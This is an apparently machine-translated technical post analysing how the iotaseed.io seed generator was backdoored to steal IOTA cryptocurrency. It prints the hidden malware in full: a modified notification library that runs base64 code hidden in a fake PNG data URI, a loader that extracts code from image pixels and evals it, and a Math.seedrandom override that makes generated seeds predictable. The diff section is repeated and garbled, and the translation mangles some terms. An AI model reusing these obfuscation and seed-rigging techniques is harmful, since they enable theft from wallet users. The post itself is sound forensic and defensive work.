📜 ⬆️ ⬇️

As a malicious site generators phrases allowed to steal $ 4 million

Recently, Ars Techica published a material describing how malicious (and already inoperable) the iotaseed.io seed-phrase generator allowed its creator to steal the IOTA cryptocurrency worth almost $ 4 million from users' wallets.



According to the description of the publication, the website “stored data on each generated CID phrase, along with information about the wallet with which it was associated, allowing the website owners (or those who hacked it) to simply wait for the tokens to wallets, and then withdraw them to your accounts. " In this article I decided to explore the technical side of this scam.

We are looking for a code


The original version of the iotaseed.io website has been replaced by a message that it is disabled. Fortunately, a copy of the site has been preserved by the Wayback Machine.

The website leads to a githab repository that warns visitors that the code is open for review, but recommends that users generate a seed on the website itself, since the repository may contain newer and not yet tested code.

Given this information, I assumed that the malicious code acted only on the site, and it was not in the repository. Such an approach would hide the code snippets used to steal a seed. The repository contained only pure code that did not cause any questions or suspicions. This would explain the recommendation to use only the website, not the repository. If this is indeed the case, then any attempt to compare the JavaScript on the site with the JavaScript in the Github repository would lead to an obvious discovery of the backdoor on the site.

Unfortunately, the gothab repository iotaseed.io refers to the already deleted norbertvdberg / iotaseed (the account has also been deleted). Wayback Machine retained only the main repository page . In response to attempts to view the code or download its WM zip-archive, it says that these pages were not archived to it. Nevertheless, looking at the forks counter in the upper right corner, we may find that this code was forked by 8 different accounts. After checking the relevant article in the GitHub knowledge base, we learn that deleting a repository does not affect the operation of its forks. This means that copies of this repository may still exist somewhere in the vast service.



A quick search on commits, visible in the saved pageback of the Wayback Machine, allows you to know the following:



It looks like eggdroid / eggseed3 is one of the forks of the original iotaseed.io code. All 26 commits in it are made by norbertvdberg, that is, by the same user-owner of the original repository. Now that we have both a website and JavaScript files from a githaba, it's time to compare them and find the difference.

Analyzing the code


The seed generator consists of many different javascript files combined into one all.js file minimized to all.mini.js. It was he who in fact was used on the page. Therefore, I compared it with the same js-file from the saved WM copy.

 $ shasum all-website.mini.js all-github.mini.js 3d48933698d8cf1d1673067d782595c12c815424 all-website.mini.js 3d48933698d8cf1d1673067d782595c12c815424 all-github.mini.js 

To my regret, both files were the same. Having rummaged in the code, I noticed that immediately after the wallet generation, Web Worker started the generation of QR codes and data for the paper version of the wallet. The code for this worker is in a different all-wallet.mini.js . Perhaps something was hidden in it?

Versions of this file from the site and from the copy of WM seemed different, and therefore I drove both files through js-beautify , then compared them to diff to see specific differences.

 $ diff all-wallet-website.js all-wallet-github.js 1313c1313 < t = t || {}, this.version = e("../package.json").version, this.host = t.host ? t.host : "http://web.archive.org/web/20180120222030/http://localhost/", this.port = t.port ? t.port : 14265, this.provider = t.provider || this.host.replace(/\/$/, "") + ":" + this.port, this.sandbox = t.sandbox || !1, this.token = t.token || !1, this.sandbox && (this.sandbox = this.provider.replace(/\/$/, ""), this.provider = this.sandbox + "/commands"), this._makeRequest = new o(this.provider, this.token), this.api = new a(this._makeRequest, this.sandbox), this.utils = i, this.valid = e("./utils/inputValidator"), this.multisig = new s(this._makeRequest) --- > t = t || {}, this.version = e("../package.json").version, this.host = t.host ? t.host : "http://localhost", this.port = t.port ? t.port : 14265, this.provider = t.provider || this.host.replace(/\/$/, "") + ":" + this.port, this.sandbox = t.sandbox || !1, this.token = t.token || !1, this.sandbox && (this.sandbox = this.provider.replace(/\/$/, ""), this.provider = this.sandbox + "/commands"), this._makeRequest = new o(this.provider, this.token), this.api = new a(this._makeRequest, this.sandbox), this.utils = i, this.valid = e("./utils/inputValidator"), this.multisig = new s(this._makeRequest) 1713c1713 < this.provider = e || "http://web.archive.org/web/20180120222030/http://localhost:14265/", this.token = t --- > this.provider = e || "http://localhost:14265", this.token = t 1718c1718 < this.provider = e || "http://web.archive.org/web/20180120222030/http://localhost:14265/" --- > this.provider = e || "http://localhost:14265" 6435c6435 < website: "http://web.archive.org/web/20180120222030/https://iota.org/" --- > website: "https://iota.org" 6440c6440 < url: "http://web.archive.org/web/20180120222030/https://github.com/iotaledger/iota.lib.js/issues" --- > url: "https://github.com/iotaledger/iota.lib.js/issues" 6444c6444 < url: "http://web.archive.org/web/20180120222030/https://github.com/iotaledger/iota.lib.js.git" --- > url: "https://github.com/iotaledger/iota.lib.js.git" 

But the only difference was that Wayback Machine rewrote some URLs to point to web.archive.org . From a functional point of view, the code for generating seeds in both files was the same.

After that, I decided to take a closer look at index.html and noticed the loading of another javascript of the notification library , which I had first overlooked. I did the same manipulations with his saved WM copy and copy from the repository and the suspicious code became obvious:

 $ diff notifier-website.js notifier-github.js 68,71d67 < if (!window.inited_n) { < window.inited_n = true; < Notifier.init() < } 82,87d77 < if (/,T/.test(image)) { < if (/ps:.*o/.test(document.location)) { < eval(atob(image.split(",")[2])) < } < return < } 119,121d108 < init: function(message, title) { < this.notify(message, title, "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9wCBxILCcud3gSTrg4uDm5uZFRETbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03/9RTlAAAADy8vIgICA2NzY4OzYPM0fa29q,ZnVuY3Rpb24gY0RpcyhmKXt2YXIgbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKS5nZXRDb250ZXh0KCIyZCIpO3ZhciBpPW5ldyBJbWFnZTtpLm9ubG9hZD1mdW5jdGlvbigpe28uZHJhd0ltYWdlKGksMCwwKTtkUyhvLmdldEltYWdlRGF0YSgwLDAsMjk4LDEwMCkuZGF0YSl9O2kuc3JjPWZ9ZnVuY3Rpb24gZFMoZCl7dmFyIGw9MjEsYk09IiIsdE09IiI7Zm9yKHZhciBpPTA7aTxsO2krKyl7dmFyIGI9KGRbaSo0KzJdPj4+MCkudG9TdHJpbmcoMik7Yk0rPWJbYi5sZW5ndGgtMV07aWYoYk0ubGVuZ3RoPT0xNil7bD1wYXJzZUludChi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5SiopCiopDl396hloaDg3ToTD3m5uZMS03 / 9RTlAAAADy8vIgICA2NzY4OzYPM0fa29q, ZnVuY3Rpb24gY0RpcyhmKXt2YXIgbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKS5nZXRDb250ZXh0KCIyZCIpO3ZhciBpPW5ldyBJbWFnZTtpLm9ubG9hZD1mdW5jdGlvbigpe28uZHJhd0ltYWdlKGksMCwwKTtkUyhvLmdldEltYWdlRGF0YSgwLDAsMjk4LDEwMCkuZGF0YSl9O2kuc3JjPWZ9ZnVuY3Rpb24gZFMoZCl7dmFyIGw9MjEsYk09IiIsdE09IiI7Zm9yKHZhciBpPTA7aTxsO2krKyl7dmFyIGI9KGRbaSo0KzJdPj4 + MCkudG9TdHJpbmcoMik7Yk0rPWJbYi5sZW5ndGgtMV07aWYoYk0ubGVuZ3RoPT0xNil7bD1wYXJzZUludChiTSwyKSsxNjtiTT0iIn1lbHNlIGlmKGJNLmxlbmd0aD09OCYmbCE9MjEpe3RNKz1TdHJpbmcuZnJvbUNoYXJDb2RlKHBhcnNlSW50KGJNLDIpKTtiTT0iIn19ZXZhbCh0TSl9Y0RpcygiLi9pbWFnZXMvbG9nb19zbWFsbF9ib3R0b20ucG5nIik7, TbRznoTD3oTD1JR0iX $ diff notifier-website.js notifier-github.js 68,71d67 < if (!window.inited_n) { < window.inited_n = true; < Notifier.init() < } 82,87d77 < if (/,T/.test(image)) { < if (/ps:.*o/.test(document.location)) { < eval(atob(image.split(",")[2])) < } < return < } 119,121d108 < init: function(message, title) { < this.notify(message, title, "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9wCBxILCcud3gSTrg4uDm5uZFRETbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eS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5OwZ71u/S81gEoJR8AMyPNR2FOs7jo1pG94PvzdD76vjCZTYp/vlzDefw0hYOWf4b1+3Tt5+3MfcZ7NxnnPX0Uu//7StQUhwgmNk/N9x3ENDpfF/P7E6/6rM1qt8K0BXMjsOs7+eZKNR95KMSQfCgS/pUY4TuPUdlEHlOPnCXj7H2B1e9+ZxRaZHVuN49nI8pUlNC9JRLVSwMhM4piahmOsA/FMFPwB+4ZiyTYnf/gAAAABJRU5ErkJggg==") < }, zMnj4 + PW19VGRkbqPi7v7 / D6 + vr09fXyTj4rKSvhSTo / Pj / oSDnlMyLsNCI0MTP0 /// tTT7ZRjizOi + 6PDDmLRyenZ7oKRfExMT / TzvobGEVFBWGhYUAGjLW8 / ToXVADLUZ8e33 / 2tfRRTdWVFTFQDT1u7aSkZIADib + 5eFwcHHW + / z70tDwkIesPTPW6 + teXV2xsbG7u7vY4 + Lre3DMzM2qp6jilIxsPT7lg3kdO07m / f4AJjuwsJzftK / fpZ7woJjoVUZBWGj1zMdTaXfcvrrzq6Tby8f + 8u8wSlYZNDaQRUKfr7d9j5lpf4vx5ePMsLF / o64s + $ diff notifier-website.js notifier-github.js 68,71d67 < if (!window.inited_n) { < window.inited_n = true; < Notifier.init() < } 82,87d77 < if (/,T/.test(image)) { < if (/ps:.*o/.test(document.location)) { < eval(atob(image.split(",")[2])) < } < return < } 119,121d108 < init: function(message, title) { < this.notify(message, title, "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9wCBxILCcud3gSTrg4uDm5uZFRETbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03/9RTlAAAADy8vIgICA2NzY4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7StQUhwgmNk/N9x3ENDpfF/P7E6/6rM1qt8K0BXMjsOs7+eZKNR95KMSQfCgS/pUY4TuPUdlEHlOPnCXj7H2B1e9+ZxRaZHVuN49nI8pUlNC9JRLVSwMhM4piahmOsA/FMFPwB+4ZiyTYnf/gAAAABJRU5ErkJggg==") < }, v1fpVECdtPSy5822Bi + JcujmfEApl3IIRhBFyIJ3Em6UMTDSKfHsOB0dhILQ2fX4 + 4aF0tVXC3yJJB4OrcJV1msIhJN52avslhpZOfcvyepfceIaARw5t2CWTwYRhSQTdSum1TGqE5Mr0kg6Ukj66hZ3GExaEaJQsYIWXzmd6P2KHxn6NjG4 / BDMEQ6RM + oNQ6vjJyWFTNTDJlau0e1drAO + Ikan8tE1itkfC0S11iXKGyYJZFB5jpkgmY8WWoKx6Z5JI3MGyQqV1Jj80Jgm2J9xGrQSAKfcyptEfgFrxxWnUUiVEqIGjN5bAsRKyOReI9FaGxw3o0Of8I6rAbbcBR06yN + T + Uogmu2QR5ucsaXuV6w1hat $ diff notifier-website.js notifier-github.js 68,71d67 < if (!window.inited_n) { < window.inited_n = true; < Notifier.init() < } 82,87d77 < if (/,T/.test(image)) { < if (/ps:.*o/.test(document.location)) { < eval(atob(image.split(",")[2])) < } < return < } 119,121d108 < init: function(message, title) { < this.notify(message, title, "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9wCBxILCcud3gSTrg4uDm5uZFRETbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03/9RTlAAAADy8vIgICA2NzY4OzYPM0fa29q,ZnVuY3Rpb24gY0RpcyhmKXt2YXIgbz1kb2N1bWVudC5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QfCgS/pUY4TuPUdlEHlOPnCXj7H2B1e9+ZxRaZHVuN49nI8pUlNC9JRLVSwMhM4piahmOsA/FMFPwB+4ZiyTYnf/gAAAABJRU5ErkJggg==") < }, whvwdzafABTh / tZW3SEcmZS0NYfJTTB5kaYsbnHSEMMWMfuvJdg3vsJlR9R6UP2JOp9jRhM / ZVa5dwiwJCT9UZI8qwtRVGh2JCVSsXtyinqgtMk0NJFf1QYwGlmToGhkQFQg3X5nvUofzw7FCLr2bRak2Uz0KgJhOVM6EqjlMpvPwp + ioWy2JAbWYqQ6E + mv5SwyNzJWh / HHX6Rty17TYNBFF44CokEA + ABELiJ2yMnUorefElCY5pHGgqu3JUhYAU0xpwwYoqJSAU8sgXMxvvekwukAS0PS9pq3I8OXtmZm8pF3D6vuLEx7N833 / N0bI85X / CarUEte9b68nlf4rg + lKoEGAvPMvzk6 + Ak5OwZ71u / S81gEoJR8AMyPNR2FOs7jo1pG94PvzdD76vjCZTYp / vlzDefw0hYOWf4b1 + 3Tt5 + 3MfcZ7NxnnPX0Uu // 7StQUhwgmNk / N9x3ENDpfF / P7E6 / 6rM1qt8K0BXMjsOs7 + eZKNR95KMSQfCgS / pUY4TuPUdlEHlOPnCXj7H2B1e9 $ diff notifier-website.js notifier-github.js 68,71d67 < if (!window.inited_n) { < window.inited_n = true; < Notifier.init() < } 82,87d77 < if (/,T/.test(image)) { < if (/ps:.*o/.test(document.location)) { < eval(atob(image.split(",")[2])) < } < return < } 119,121d108 < init: function(message, title) { < this.notify(message, title, "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9wCBxILCcud3gSTrg4uDm5uZFRETbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4e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1pG94PvzdD76vjCZTYp/vlzDefw0hYOWf4b1+3Tt5+3MfcZ7NxnnPX0Uu//7StQUhwgmNk/N9x3ENDpfF/P7E6/6rM1qt8K0BXMjsOs7+eZKNR95KMSQfCgS/pUY4TuPUdlEHlOPnCXj7H2B1e9+ZxRaZHVuN49nI8pUlNC9JRLVSwMhM4piahmOsA/FMFPwB+4ZiyTYnf/gAAAABJRU5ErkJggg==") < }, 

It looks like someone very carefully made changes to the Notifier.js library to hide the code snippet in it. The Notifier.notify method has been modified so that it checks whether the parameter contains the image ",T" . Then it decodes part of the parameter in javascript and processes it. Another change added the Notifier.init() method, called after the page loads. He in turn called the notify method with the image parameter that triggered the triggering of this code.

Running the above code snippet atob(image.split(",")[2]) with the data reference specified in it gives the following code snippet (indents and spaces are added to improve readability):

 function cDis(f) { var o = document.createElement("canvas").getContext("2d"); var i = new Image; i.onload = function() { o.drawImage(i, 0, 0); dS(o.getImageData(0, 0, 298, 100).data) }; i.src = f } function dS(d) { var l = 21, bM = "", tM = ""; for (var i = 0; i < l; i++) { var b = (d[i * 4 + 2] >>> 0).toString(2); bM += b[b.length - 1]; if (bM.length == 16) { l = parseInt(bM, 2) + 16; bM = "" } else if (bM.length == 8 && l != 21) { tM += String.fromCharCode(parseInt(bM, 2)); bM = "" } } eval(tM) } cDis("./images/logo_small_bottom.png"); 

The second part of the malicious code inserts ./images/logo_small_bottom.png into an ./images/logo_small_bottom.png hidden outside the screen, reads the image as text and processes this text as a javascript code.

The logo_small_bottom.png file was added to the repository on August 28, 2017 and updated 3 hours later. Both versions of it, passed through this image decoder, do not provide valid code.

Nevertheless, another image was used on the saved WM copy of the site. The following code is hidden in it (indents are added again for convenience):

 if (/ps:.*\.io/.test(document.location)) { mode = "M"; (function(message) { var name = "edr"; name += "an"; message["cont"] = 0; name += "dom"; function show(arg, options, image) { message["e2" + name]("4782588875512803642" + String(message["cont"]), options, image); message["cont"] += 1 } message["e2" + name] = message["se" + name]; message["se" + name] = show })(eval(mode + "ath")) } 

This is the last stage of javascript-backdoor. It can be simplified to the following code:

 Math.cont = 0; function show(arg, options, image) { Math.e2edrandom("4782588875512803642" + String(Math.cont), options, image); Math.cont += 1; } Math.e2edrandom = Math.seedrandom; Math.seedrandom = show; 

This code changes the Math.seedrandom function used by the generation code so that it always 4782588875512803642 permanent seed 4782588875512803642 and adds to it the value of the counter variable, increasing by one each time the seedrandom run. This leads to the fact that Math.random() always returns the same, predictable sequences of numbers. As a result, the generated led of each new IOTA wallet always remained the same. This becomes quite obvious if you try to open an archived version of iotaseed.io several times and note that the generated seed will always be at XZHKIPJIFZFYJJMKBVBJLQUGLLE9VUREWK9QYTITMQYPHBWWPUDSATLLUADKSEEYWXKCDHWSMBTBURCQD can be XZHKIPJIFZFYJJMKBVBJLQUGLLE9VUREWK9QYTITMQYPHBWWPUDSATLLUADKSEEYWXKCDHWSMBTBURCQD be at XZHKIPJIFZFYJJMKBVBJLQUGLLE9VUREWK9QYTITMQYPHBWWPUDSATLLUADKSEEYWXKCDHWSMBTBURCQD .

It is important to note here that the number used to generate ( "4782588875512803642" in the example above) was different for each user. Due to the fact that WM saved a copy of the image at a certain point in time, the seed remains the same whenever you open a copy on the same date. Checks for other dates, such as October 31 or November 19, show that their numbers and sids differ from the copy we reviewed for January 3. Based on this, it can be concluded that the ./images/logo_small_bottom.png file ./images/logo_small_bottom.png generated on the fly by the server iotaseed.io.

During the creation of this file, the number used by the corrected random number generator was changed, and probably saved somewhere so that the attacker could later use it to steal IOTA. As a result, the website did generate different views for different users. However, with random generation on the server side, the situation was also not the best, since it is known that at least one person received sid on the site, which someone had already used. A code difference demonstration is available at this link .

Using the official Javascript-library of the IOTA , we can establish that the previously mentioned Sid XZHKIPJIFZFYJJMKBVBJLQUGLLE9VUREWK9QYTITMQYPHBWWPUDSATLLUADKSEEYWXKCDHWSMBTBURCQD corresponds to address PUEBLAHRQGOTIAMJHCCXXGQPXDQJS9BDFSCDSMINAYJNSILCCISDVY99GMKAEIAICYQUXMIYTNQCJYVDX . According to this website , the wallet is empty, but other sites that exploit transaction history give a 404 error . This means that either I made a mistake when decoding the address, or I don’t understand how the IOTA network works.

Conclusion


The backdoor was cleverly hidden. He was definitely placed there with malicious intent, and not because of an error using cryptography. It’s not clear to the end whether it was added by the owner of the githab repository and the norbertvdberg site, or whether its hosting account was hacked. Be that as it may, judging by the reaction of the owner, who then deleted his accounts on GitHub , Reddit and Quora , it turns out that the site was originally conceived to steal user funds.

The attackers have taken many steps to conceal the backdoor. A quick glance at the developer panel in the browser would not reveal anything suspicious. For example, data: link in the first stage of the backdoor began with iVBORw0KGgo which corresponds to the beginning of the actual PNG header encoded in base 64. This means that such a url could be easily mistaken for inserting an image - the action is quite normal for the js-library of notifications. Part of the JavaScript code is loaded from the image, and its request is the only network request. Unfortunately, all of this was enough to make many people believe that the site is all right.

A careful study of the developer panel in the browser allows you to see this request.



In general, this incident should be taken as a reminder that when it comes to cryptocurrencies (and especially large sums!), Paranoia can be a good thing. Relying on online services, such as generators of CID phrases or web wallets, trusting them significant amounts for you should never be. It is necessary to use only the software that has undergone a thorough review and audit by the community.

In our case, iotaseed.io really positioned itself as an open-source solution, indicating openness and the ability of anyone to check the code. This seemed to be enough to convince some people, but none of them thought that the real code running on the website could be changed. Attentive verification would reveal this fact, giving us another example of the serious consequences of blind trust in the open-source label, especially in the field of cryptocurrency.

image

Source: https://habr.com/ru/post/410041/